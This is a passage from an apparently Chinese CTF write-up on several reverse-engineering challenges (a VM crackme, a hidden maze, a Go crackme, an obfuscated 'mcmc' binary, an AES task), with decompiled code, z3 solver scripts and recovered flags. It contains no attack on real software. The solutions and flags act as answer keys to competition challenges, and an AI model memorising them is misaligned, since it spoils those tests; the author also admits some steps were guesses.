if a1 == 0xe1:
print("arr[0] -= %d" % a2)
if a1 == 0xe2:
print("arr[1] -= %d" % a2)
if a1 == 0xe3:
print("arr[2] -= %d" % a2)
i += 3

跑出来的用z3解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from z3 import *
data=[0xA7, 0x3A, 0x19, 0xB4, 0xF1, 0x49, 0x2B, 0xCB, 0xEA, 0x0E, 0x0E, 0x14]
s = Solver()
dstbuf=[0]*76
for i in range(12):
dstbuf[32+i] = BitVec("dstbuf[%d]"%(i+1),8)
arr=[0]*4
arr[0] = dstbuf[32]
arr[1] = dstbuf[33]
arr[1] += 164
arr[0] ^= arr[1]
arr[0] -= 5
dstbuf[64] = arr[0]
arr[0] = dstbuf[33]
arr[1] = dstbuf[34]
arr[1] += 112
arr[0] ^= arr[1]
arr[0] -= 151
dstbuf[65] = arr[0]
arr[0] = dstbuf[34]
arr[1] = dstbuf[35]
arr[1] += 79
arr[0] ^= arr[1]
arr[0] -= 121
dstbuf[66] = arr[0]
arr[0] = dstbuf[35]
arr[1] = dstbuf[36]
arr[1] += 211
arr[0] ^= arr[1]
arr[0] -= 71
dstbuf[67] = arr[0]
arr[0] = dstbuf[36]
arr[1] = dstbuf[37]
arr[1] += 95
arr[0] ^= arr[1]
arr[0] -= 146
dstbuf[68] = arr[0]
arr[0] = dstbuf[37]
arr[1] = dstbuf[38]
arr[1] += 3
arr[0] ^= arr[1]
arr[0] -= 74
dstbuf[69] = arr[0]
arr[0] = dstbuf[38]
arr[1] = dstbuf[39]
arr[1] += 8
arr[0] ^= arr[1]
arr[0] -= 189
dstbuf[70] = arr[0]
arr[0] = dstbuf[39]
arr[1] = dstbuf[40]
arr[1] += 40
arr[0] ^= arr[1]
arr[0] -= 57
dstbuf[71] = arr[0]
arr[0] = dstbuf[40]
arr[1] = dstbuf[41]
arr[1] += 127
arr[0] ^= arr[1]
arr[0] -= 41
dstbuf[72] = arr[0]
arr[0] = dstbuf[41]
arr[1] = dstbuf[42]
arr[1] += 41
arr[0] ^= arr[1]
arr[0] -= 59
dstbuf[73] = arr[0]
arr[0] = dstbuf[42]
arr[1] = dstbuf[43]
arr[1] += 55
arr[0] ^= arr[1]
arr[0] -= 193
dstbuf[74] = arr[0]
arr[0] = dstbuf[43]
arr[1] = dstbuf[64]
arr[1] += 186
arr[0] ^= arr[1]
arr[0] -= 209
dstbuf[75] = arr[0]

for i in range(12):
s.add(dstbuf[64+i]==data[i])
s.check()
print(s.model())
dstbuf[1] = 172
dstbuf[4] = 64
dstbuf[9] = 64
dstbuf[3] = 29
dstbuf[11] = 116
dstbuf[12] = 132
dstbuf[6] = 12
dstbuf[10] = 212
dstbuf[7] = 156
dstbuf[5] = 232
dstbuf[8] = 108
dstbuf[2] = 92

然后进行第一步的移位和异或

1
2
3
4
5
6
for i in range(13):
tmp = dstbuf[i]
tmp = ((tmp<<6)|(tmp>>2)) &0xff
tmp ^= (ord("a")+i-1)
print(chr(tmp),end='')
# Ju$t_e@sy_vM

不过在分析过程中,并没有发现在什么地方执行了read,而且最后异或的时候也有一定蒙的成分,不知道字符串abcdefghijkl放在了什么位置。

RE2

连续三道题出题模式都一样,不好评价了有点。。。

这个题前面的逻辑全是假的,他又开了一个线程,真正逻辑在那个线程中,是一个经典的花指令,patch之后就能看到是个迷宫。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl sub_4027F0(int *a1)
{
int v2; // [esp+Ch] [ebp-3Ch]
char v3[12]; // [esp+38h] [ebp-10h] BYREF

v2 = *a1;
strcpy(v3, "Success!!!");
switch ( v2 )
{
case 'A':
--x;
Sleep(0x13u);
break;
case 'D':
++x;
Sleep(0x14u);
break;
case 'S':
++y;
Sleep(0x12u);
break;
case 'W':
--y;
Sleep(0x11u);
break;
default:
break;
}
if ( y < 0 || y >= 40 || x < 0 || x >= 40 || map[40 * y + x] == 1 )
exit(0);
++dword_4068A4;
if ( map[40 * y + x] == 2 && dword_4068A4 == 75 )
{
printf("\n%s", v3);
system("pause");
}
return 1;
}

map:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1  
1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 0 1 1 0 0 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 0 1 1 1 1 0 1 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 0 1 1 1 1 1 0 1 0 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 0 1 1 1 1 0 1 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 0 1 1 1 1 1 0 1 0 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 0 1 1 1 1 0 0 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 0 1 0 1 0 1 0 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 0 1 0 1 0 0 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 0 1 1 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 0 0 0 1 1 1 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 0 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 0 1 1 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 0 0 1 1 1 0 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 0 1 1 1 0 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 0 1 0 1 1 1 0 1 1 1 1 0 0 0 0 0 0 0 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1 1 0 0 0 0 0 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 0 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 0 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 0 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 0 1 0 1 1 1 1 0 0 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 0 1 0 1 0 1 1 1 1 0 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 0 1 1 1 1 1 0 1 1 1 0 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 0 1 1 1 1 1 0 1 1 1 0 0 0
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 0 1 0 1 0 0
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 0 1 1 1 1

不过怎么走都好像不能走75到终点,查看交叉引用

image-20221128231849609

image-20221128231901022

发现,起点被改了(2,2),终点位置也变了,但发现好像还是走不到75步,最后发现sleep好像被hook了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __stdcall sub_402330(int a1)
{
switch ( a1 )
{
case 0x11:
--x;
a1 = 0;
break;
case 0x12:
++x;
a1 = 0;
break;
case 0x13:
++y;
a1 = 0;
break;
case 0x14:
--y;
a1 = 0;
break;
default:
return dword_406890(a1);
}
return dword_406890(a1);
}

发现了原来这个东西是斜着走的,比如当输入为A,是向左下走的,输入为D,是向右上角走的,输入为S,是向右下角走的,输入为W,是向左上角走的,得到路线:dssaaasasssdsddddwddssasaaassdsssaasssddssasaassaaassdsdsssaaassddddsdssasa

PYC.pyc

强网拟态

re

本次出了三道逆向题,是有史以来最多的一次,两个题都是第7个做出来的。

comeongo

go语言逆向,main_main里两个地方,主要加密再greetingscheck()

1
2
3
v19 = fmt_Scan(v6, v12, v16);
v21 = main_Greetingscheck(v7, v13, v17, v19);
fmt_Printf(v8, v14, v18, v20, v21);
1
2
3
4
5
6
7
8
v8 = main_check1();
v10 = v6;
if ( v6 )
{
main_check2(v8);
v10 = v7;
}
return v10 != 0;

两个check函数,前16字节都是在check1

check1很好过,是一个base58

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
void __golang main_runtime_Encoding()
{
__int64 v0; // rax
__int64 v1; // r14
__int128 v2; // xmm15
__int64 v3; // rbx
__int64 v4; // rax
__int64 v5; // rcx
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
unsigned __int64 v12; // rax
__int64 v13; // rcx
__int64 v14; // rdi
__int64 v15; // rbx
__int64 v16; // rsi
__int64 v17; // rax
__int64 v18; // rcx
__int64 v19; // rcx
__int64 v20; // rsi
__int64 v21; // rdi
__int64 v22; // rbx
__int64 v23; // rax
__int64 v24; // rcx
__int64 v25; // rbx
__int64 v26; // rax
__int64 v27; // rcx
__int64 v28; // rbx
__int64 v29; // rax
__int64 v30; // [rsp-46h] [rbp-128h]
__int64 v31; // [rsp-46h] [rbp-128h]
__int64 v32; // [rsp-46h] [rbp-128h]
__int64 v33; // [rsp-46h] [rbp-128h]
__int64 v34; // [rsp-46h] [rbp-128h]
__int64 v35; // [rsp-46h] [rbp-128h]
__int64 v36; // [rsp-46h] [rbp-128h]
__int64 v37; // [rsp-46h] [rbp-128h]
__int64 v38; // [rsp-3Eh] [rbp-120h]
__int64 v39; // [rsp-3Eh] [rbp-120h]
__int64 v40; // [rsp-3Eh] [rbp-120h]
__int64 v41; // [rsp-3Eh] [rbp-120h]
__int64 v42; // [rsp-3Eh] [rbp-120h]
__int64 v43; // [rsp-3Eh] [rbp-120h]
__int64 v44; // [rsp-36h] [rbp-118h]
__int64 v45; // [rsp-36h] [rbp-118h]
__int64 v46; // [rsp-2Eh] [rbp-110h]
char v47; // [rsp+1h] [rbp-E1h]
__int64 v48; // [rsp+2h] [rbp-E0h]
__int64 v49; // [rsp+2h] [rbp-E0h]
__int64 v50; // [rsp+Ah] [rbp-D8h]
__int64 v51; // [rsp+12h] [rbp-D0h]
char v52; // [rsp+3Ah] [rbp-A8h] BYREF
__int64 v53; // [rsp+4Ah] [rbp-98h]
__int64 v54; // [rsp+52h] [rbp-90h]
__int64 v55; // [rsp+5Ah] [rbp-88h]
__int64 v56; // [rsp+62h] [rbp-80h]
__int128 v57; // [rsp+6Ah] [rbp-78h]
__int64 v58; // [rsp+7Ah] [rbp-68h]
__int64 v59; // [rsp+82h] [rbp-60h]
__int64 v60; // [rsp+8Ah] [rbp-58h]
__int64 v61; // [rsp+92h] [rbp-50h]
__int64 v62; // [rsp+9Ah] [rbp-48h]
__int64 v63; // [rsp+A2h] [rbp-40h]
__int64 v64; // [rsp+AAh] [rbp-38h]
__int128 i; // [rsp+B2h] [rbp-30h]
__int64 v66; // [rsp+C2h] [rbp-20h]
__int64 v67; // [rsp+CAh] [rbp-18h]
__int64 v68; // [rsp+D2h] [rbp-10h]
__int64 v70; // [rsp+EAh] [rbp+8h]

while ( (unsigned __int64)&v52 <= *(_QWORD *)(v1 + 16) )
{
v70 = v0;
runtime_morestack_noctxt();
v0 = v70;
}
v57 = v2;
v3 = v0;
v30 = runtime_stringtoslicebyte();
v58 = v4;
v59 = v3;
v60 = v5;
v38 = math_big_NewInt(v30);
v56 = v6;
math_big___ptr_Int__SetBytes(v31, v38);
v55 = v7;
v64 = 0LL;
for ( i = v2; ; *((_QWORD *)&i + 1) = v14 )
{
v39 = math_big_NewInt(v32);
v56 = v8;
v44 = math_big___ptr_Int__Cmp(v33, v39);
if ( v9 <= 0 )
break;
math_big_NewInt(v34);
v53 = v10;
v41 = math_big_NewInt(v35);
v54 = v11;
math_big___ptr_Int__DivMod(v36, v41, v44, v46);
v12 = math_big___ptr_Int__Int64();
if ( v12 >= qword_54A6B8 )
runtime_panicIndex();
v47 = off_54A6B0[v12];
v14 = *((_QWORD *)&i + 1);
v13 = i;
v15 = v64;
v16 = i + 1;
if ( *((_QWORD *)&i + 1) < (unsigned __int64)(i + 1) )
{
v48 = i;
runtime_growslice(v32, v42);
v16 = v15 + 1;
v15 = v17;
v14 = v18;
v13 = v48;
}
*(_BYTE *)(v15 + v13) = v47;
v64 = v15;
*(_QWORD *)&i = v16;
}
v66 = v58;
v67 = v59;
v68 = v60;
v51 = 0LL;
v50 = v59;
while ( v50 > v51 && !*(_BYTE *)(v51 + v66) )
{
v19 = i;
v20 = i + 1;
v21 = *((_QWORD *)&i + 1);
v22 = v64;
if ( *((_QWORD *)&i + 1) < (unsigned __int64)(i + 1) )
{
v49 = i;
v44 = runtime_growslice(v34, v40);
v20 = v22 + 1;
v22 = v23;
v21 = v24;
v19 = v49;
}
*(_BYTE *)(v22 + v19) = 49;
v64 = v22;
*(_QWORD *)&i = v20;
*((_QWORD *)&i + 1) = v21;
++v51;
}
v25 = i;
main_ReverseByteArr(v34, v40, v44);
v61 = v26;
v62 = v25;
v63 = v27;
v28 = v26;
runtime_slicebytetostring(v37, v43, v45);
*(_QWORD *)&v57 = v29;
*((_QWORD *)&v57 + 1) = v28;
}

base58解密出来的就是账号和密码前8位,然后看check2,里面首先是对账号的密码的4位进行了字母表12的位移,然后进行base64加密,所以到目前为止已经推出了

1
2
3
账号:GoM0bi13_Bin4567

密码:G3tItEzForReEFGH

现在只剩账号和密码的后四位,而且经过动调发现真正的算法是在main_runtime_other函数中

1
2
3
4
5
if ( v54 )
{
main_runtime_other(v36, v41, v46, v50, v52, v53);
return v28;
}

可以采用爆破求解,因为该处是通过密码来爆破账号的,且密码已经给出两位,所以只用爆破最后两位

1
2
3
4
5
6
7
8
9
10
11
12
13
zhanghaohousiwei = [0xDD, 0x8F, 0xA1, 0x64]
flag = ''
code = 'vGGH'
for i in range(4):
flag+=chr(zhanghaohousiwei[i] - ord(code[i]) - i)
print(flag)
#账号:GoM0bi13_BingGo@
#密码:G3tItEzForRevG0!
for i in range(27,127):
for j in range(27,127):
if i + j + 3 == 0x64 and i-j == 0x1f://还有一个是64
print(i)
print(j)

得到flag:flag{GoM0bi13_BingGo@G3tItEzForRevG0!}

mcmc

这个题纯纯的做了10个小时

用d810搞一下看的会比较清楚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+1Ch] [rbp-104h]
char s[4]; // [rsp+20h] [rbp-100h] BYREF
_BYTE v6[3]; // [rsp+24h] [rbp-FCh] BYREF
char v7; // [rsp+27h] [rbp-F9h]
_BYTE v8[4]; // [rsp+28h] [rbp-F8h] BYREF
_BYTE v9[3]; // [rsp+2Ch] [rbp-F4h] BYREF
char v10; // [rsp+2Fh] [rbp-F1h]
_BYTE v11[4]; // [rsp+30h] [rbp-F0h] BYREF
_BYTE v12[3]; // [rsp+34h] [rbp-ECh] BYREF
char v13; // [rsp+37h] [rbp-E9h]
_BYTE v14[4]; // [rsp+38h] [rbp-E8h] BYREF
_BYTE v15[3]; // [rsp+3Ch] [rbp-E4h] BYREF
char v16; // [rsp+3Fh] [rbp-E1h]
char v17[192]; // [rsp+50h] [rbp-D0h] BYREF
unsigned int v18; // [rsp+110h] [rbp-10h]
int v19; // [rsp+114h] [rbp-Ch]
char v20; // [rsp+11Bh] [rbp-5h]
int i; // [rsp+11Ch] [rbp-4h]

v18 = 0;
memset(s, 0, 0x21uLL);
memset(s, 0, 0x21uLL);
__isoc99_scanf(&unk_408004, s);
v4 = strlen(s);
v19 = v4;
i = -1341394107;
if ( v19 != 32 )
{
for ( i = -1901734900; ; i = -1901734900 )
;
}
i = 944589829;
if ( unk_40A0F8 >= 10 || unk_40A0F8 < 10 )
{
i = -2083856703;
goto LABEL_8;
}
for ( i = -984240755; ; i = -984240755 )
{
v7 ^= 0x44u;
v10 ^= 0x23u;
v13 ^= 0x5Bu;
v16 ^= 0x5Au;
sub_405480(s, v6, v8, v9);
sub_405480(v11, v12, v14, v15);
sub_4011A0(v17, &byte_40A0A0, &byte_40A0C0, 1LL);
sub_401820((__int64)v17, (__int64)s, v4);
i = -2083856703;
LABEL_8:
v7 ^= 0x44u;
v10 ^= 0x23u;
v13 ^= 0x5Bu;
v16 ^= 0x5Au;
sub_405480(s, v6, v8, v9);
sub_405480(v11, v12, v14, v15);
sub_4011A0(v17, &byte_40A0A0, &byte_40A0C0, 1LL);
sub_401820((__int64)v17, (__int64)s, v4);
if ( unk_40A0F8 < 10 || unk_40A0F8 >= 10 )
break;
}
for ( i = 269145055; ; i = 215820177 )
{
while ( i >= 269145055 )
{
i = 1215238956;
if ( v4 > 0 )
{
i = 1341239842;
goto LABEL_15;
}
i = -504198;
if ( unk_40A0F8 < 10 && unk_40A0F8 >= 10 )
{
i = 1576878451;
goto LABEL_17;
}
i = 215820177;
}
v20 = 0;
if ( unk_40A0F8 >= 10 || unk_40A0F8 < 10 )
break;
i = 1576878451;
LABEL_17:
;
}
i = 1408947266;
LABEL_15:
printf("Nice! flag:flag{(your input)}\n");
i = -198005779;
return v18;
}

好看多了,但是编译的不是很准确,可以看到最开始先对输入进行每8个字节异或,然后异或后的值传到sub_405480函数进行抽象的处理,接下来的函数就比较逆天了

1
2
3
sub_405480(v11, v12, v14, v15);
sub_4011A0(v17, &byte_40A0A0, &byte_40A0C0, 1LL);
sub_401820((__int64)v17, (__int64)s, v4);

本来以为是chacha20加密,但是发现不对,怎么解都不对,由于chacha是对称加密,所以进行了验证发现并不是对称的。最后还是超人发现真正的加密是在sub_401820,直接看汇编,如下图:

image-20221108152758147

进行正向算法的一个逆,然后缩减了一下算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <iostream>
using namespace std;

int main(int argc, char** argv) {
uint32_t en_data[] = {0x93, 0x93, 0x93, 0xB8, 0x62, 0x62, 0x62, 0xC5, 0x00, 0x00, 0x00, 0xDB, 0xC4, 0xC4, 0xC4, 0x0E, 0x93, 0x93, 0x93, 0x06, 0x62, 0x62, 0x62, 0x61, 0x00, 0x00, 0x00, 0x8D, 0xC4, 0xC4, 0xC4, 0xAA};
uint32_t en[] = { 0x17, 0x40, 0x2B, 0xDD, 0x11, 0xC8, 0xBD, 0xA7, 0x1B, 0x05, 0xF9, 0x58, 0x60, 0x6C, 0x64, 0xB7, 0x17, 0x40, 0x2B, 0x37, 0x11, 0xC8, 0xBD, 0x6F, 0x1B, 0x05, 0xF9, 0xFE, 0x60, 0x6C, 0x64, 0x6B };
uint32_t table[] = { 0xD3, 0x1B, 0xCC, 0x7D, 0xEF, 0xB9, 0x0D, 0xC6, 0xA0, 0xDB, 0xE2, 0x07, 0xFB, 0x0F, 0xB7, 0x0E, 0xCB, 0x73, 0x3A, 0x8A, 0xC5, 0x4E, 0x3E, 0xEC, 0x0C, 0xF0, 0xA2, 0x48, 0x94, 0x70, 0x27, 0x1B, 0xA4, 0x1C, 0x17, 0x1C, 0x0D, 0x71, 0xC8, 0xF2, 0x28, 0x2B, 0x9A, 0xA7, 0x3A, 0x5F, 0xB8, 0x6E, 0x81, 0x80, 0x54, 0x3B, 0x9D, 0x51, 0x0E, 0xC6, 0x21, 0x03, 0x49, 0xD4, 0xB6, 0x36, 0x31, 0x7B };
uint32_t k1 = 0;
uint32_t k2 = 0;
uint32_t k3 = 0;
uint32_t k4 = 0;
uint32_t k6 = 0;
uint32_t k7 = 0;
int i, k;
for (int i = 0; i < 32; i++) {
uint64_t temp= 0xfffffffffffffffe;
temp ^= i;
temp &= i;
if (temp) {
k2 = en[i - 1];
if (k2 > 0xff)
k2 = en[i];
}
else
k2 = en[i + 1];
//k2 = en[(i)%32];
// en_data[i] = k4;
en[i] = (en[i] ^ 0x7deeb3f5 | en[i] ^ 0x7deeb3f5) ^ (table[i] + k2) & 0xff ^ 0x7deeb3f5;
// k2 = k4;
//k2 = en[(i + 1) % 32];
cout << hex << en[i] << endl;
}
}

/*
[0x93, 0x62, 0xB8, 0x19, 0x45, 0x20, 0x25, 0x25, 0x22, 0xFE, 0x7F, 0x00, 0x00, 0x16, 0x6D, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

*/

发现真正加密其实也就一个,但是不太好爆,考虑采用z3,又发现前面的判断条件其实有些抽象,直接舍去就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from z3 import*
s=Solver()
flag = [BitVec("flag%d" % i,8) for i in range(32)]
cmp = [0x06, 0x08, 0x65, 0x04, 0x60, 0x03, 0x08, 0x01, 0x4A, 0x10, 0x32, 0x58, 0xEE, 0x97, 0x65, 0x84, 0x44, 0xF2, 0x10, 0x6B, 0xE8, 0x50, 0x24, 0x99, 0xF6, 0xE3, 0x21, 0x51, 0xC2, 0x5D, 0xBF, 0x32]
table = [0xD3, 0x1B, 0xCC, 0x7D, 0xEF, 0xB9, 0x0D, 0xC6, 0xA0, 0xDB, 0xE2, 0x07, 0xFB, 0x0F, 0xB7, 0x0E, 0xCB, 0x73, 0x3A, 0x8A, 0xC5, 0x4E, 0x3E, 0xEC, 0x0C, 0xF0, 0xA2, 0x48, 0x94, 0x70, 0x27, 0x1B, 0xA4, 0x1C, 0x17, 0x1C, 0x0D, 0x71, 0xC8, 0xF2, 0x28, 0x2B, 0x9A, 0xA7, 0x3A, 0x5F, 0xB8, 0x6E, 0x81, 0x80, 0x54, 0x3B, 0x9D, 0x51, 0x0E, 0xC6, 0x21, 0x03, 0x49, 0xD4, 0xB6, 0x36, 0x31, 0x7B]
for i in range(32):
tmp = 0xfffffffffffffffe
tmp = tmp^i
tmp = tmp&i
if(tmp):
k2 = flag[i-1]
else:
k2 = flag[i+1]
flag[i] = (flag[i] ^ 0x7deeb3f5 | flag[i] ^ 0x7deeb3f5) ^ (table[i] + k2) & 0xff ^ 0x7deeb3f5
for i in range(32):
s.add(flag[i] == cmp[i])
if s.check() == sat:
model = s.model()
print(model)
else:
print("unsat")
#[250,41,215,230,105,26,212,207,159,53,113,97,139,106,203,247,84,69,59,241,195,102,227,137,231,5,251,56,193,111,176,232]

#0xe6d729fa, 0xcfd41a69, 0x6171359f, 0xf7cb6a8b, 0xf13b4554, 0x89e366c3, 0x38fb05e7, 0xe8b06fc1

得到的flag,每4个字节组合,并逆序

最抽象的是sub_405480函数

image-20221108160739412

我们的flag还要经过这个地方进行加密才能到达下一步,所以还要逆这个地方的汇编,明显是每4个字符进行加密,撸汇编然后z3解就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from z3 import*
s=Solver()
flag = [BitVec("flag%d" % i,32) for i in range(4)]
cmp = [0xe6d729fa, 0xcfd41a69, 0x6171359f, 0xf7cb6a8b, 0xf13b4554, 0x89e366c3, 0x38fb05e7, 0xe8b06fc1]
s.add(((flag[0] << 1) - ((0 - flag[1]) & 0xffffffff) - flag[2] + flag[3]) & 0xffffffff == cmp[0])
s.add(((flag[0] - flag[1] + flag[2]) + (0 - flag[3]) & 0xffffffff) & 0xffffffff == cmp[2])
s.add((flag[0] + flag[1] + flag[2] -flag[3])&0xffffffff == cmp[1])
s.add((flag[3] * 2 + flag[0] + flag[1] * 2 - flag[2])&0xffffffff == cmp[3])

if s.check() == sat:
model = s.model()
print(model)
else:
print("unsat")
flag3 = 1194345311,
flag0 = 1835889971,
flag2 = 1919252016,
flag1 = 925987429
flag4 = 0x63676e69
flag5 = 0x2874306e
flag6 = 0x30703054
flag7 = 0x32686868

那四个字节也需要异或回去,得到flag

3ummer1s0ver_C0dingcn0tsT0p0hhhh

windows_call

这个题是aes题,看起来是个混淆,但混的不多

1
sub_402613(v26, 1, 16, v38, v0 + 1028, v42);

这个函数是aes函数,经过动态调试发现key和iv做运算

1
2
3
4
5
6
7
 do
{
v29 = v38[v27] ^ (v27 - 64);
v37[v27] = v29;
v28 += v29;
++v27;
}

用z3找出前几个字节然后解aes就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from z3 import *
s = Solver()
flag = [BitVec("flag%d" % i,16) for i in range(2)]
s.add((flag[0]+0x3800-0x10000)<=0x800)
s.add((flag[0]+0x3800)>0x10000)
s.add((flag[1]+0x3500-0x10000)<=0x500)
s.add((flag[1]+0x3500)>0x10000)
s.add(flag[0]&0xff00<0xca00)
s.add(flag[1]&0xff==0xa0)
s.add(flag[1]-flag[0]==0x2B8)
v25=(flag[0]^flag[1])&0xff
v55=(flag[0]^flag[1])>>8
iv=[]
for v23 in range(16):
iv.append((v55+v23)^(v25+v23))
v57=0
v37=[]
v28=0
